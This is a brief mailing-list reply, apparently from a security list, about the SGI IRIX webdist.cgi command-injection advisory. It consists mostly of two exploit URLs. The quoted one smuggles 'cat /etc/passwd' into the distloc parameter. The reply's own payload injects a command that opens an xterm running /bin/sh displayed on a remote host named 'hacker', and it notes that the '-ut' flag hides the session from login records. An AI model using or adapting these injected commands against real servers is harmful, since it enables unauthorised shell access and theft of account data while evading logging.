Re: SGI Advisory: webdist.cgi

[csh () VIEWGRAPHICS COM (Chris Sheldon)]

> Title: Default IRIX cgi-bin programs
> OS: irix
> OSver: 6.2,6.3
> Files: /var/www/cgi-bin/webdist.cgi
> Perms: X
> Access: Remote
>
> /cgi-bin/webdist.cgi?distloc=;cat%20/etc/passwd

http://host/webdist.cgi?distloc=;/usr/bin/X11/xterm%20-display%20hacker:0.0%20-ut%20-e%20/bin/sh

The '-ut' is the most important part... :-)

Chris.